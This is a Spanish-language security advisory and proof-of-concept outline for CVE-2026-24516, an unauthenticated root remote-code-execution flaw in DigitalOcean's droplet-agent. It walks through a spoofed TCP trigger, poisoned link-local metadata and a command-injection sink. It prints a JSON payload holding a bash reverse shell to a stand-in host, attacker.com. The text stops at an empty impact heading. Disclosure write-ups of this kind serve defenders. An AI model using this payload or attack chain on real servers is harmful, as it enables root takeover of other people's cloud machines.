
Análisis técnico y PoC para CVE-2026-24516: Ejecución remota de código como root sin autenticación en DigitalOcean Droplet Agent (CVSS 10.0).
ID: CVE-2026-24516
TÍTULO: RCE como Root sin Autenticación mediante Envenenamiento de Metadatos y Canal Lateral
SEVERIDAD: Crítica (CVSS v3.1: 10.0 / AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
INVESTIGADOR: Anmol Singh Rajput (@poxsky)
AFECTADOS: DigitalOcean Droplet Agent (droplet-agent) <= v1.3.2
================================================================================
El 'droplet-agent' es un demonio de sistema privilegiado (UID 0) diseñado para telemetría y diagnóstico remotos. Mantiene un estado de monitoreo pasivo hasta que se recibe una secuencia de señalización específica. La vulnerabilidad principal radica en el "Modelo de Confianza Implícita" del servicio de metadatos link-local (169.254.169.254), que carece de verificaciones de integridad criptográfica.
A. CANAL LATERAL TCP PASIVO (LA CAPA DE SEÑALIZACIÓN) El agente utiliza un listener de socket raw (internal/metadata/watcher/ssh_watcher.go) en el Puerto 22. Realiza la transición de estado de IDLE a ACTIVE basándose en constantes mágicas hardcodeadas en la cabecera TCP:
Análisis: Esto crea un disparador determinista. Un atacante externo puede suplantar el plano de control de la infraestructura falsificando un único paquete TCP SYN con estos valores mágicos.
B. VIOLACIÓN DEL LÍMITE DE CONFIANZA (EL FALLO LINK-LOCAL) Tras la señalización, el agente obtiene instrucciones JSON desde el endpoint de metadatos de la nube. La vulnerabilidad es una Falta de Verificación de Autenticidad. El agente trata la zona 169.254.169.254 como una "Zona de Confianza Reforzada", sin verificar las firmas del payload (HMAC/mTLS).
C. EL SINK: INYECCIÓN DE COMANDOS SIN SANITIZAR El 'TroubleshootingActioner' (internal/troubleshooting/actioner/actioner.go) contiene un sink donde parsea el array 'requesting'.
SUPLANTACIÓN: El atacante identifica un SSRF en una aplicación alojada para proxyficar solicitudes al servicio de metadatos link-local.
ENVENENAMIENTO: El atacante configura un servidor de metadatos malicioso que devuelve: {"requesting": ["command:bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'"]}
EL TOQUE: El atacante envía el disparador TCP "DODO-TTY" al Puerto 22.
EJECUCIÓN: El agente obtiene el JSON envenenado y ejecuta la reverse shell con UID EFECTIVO 0 (Root).
EVALUACIÓN DEL IMPACTO
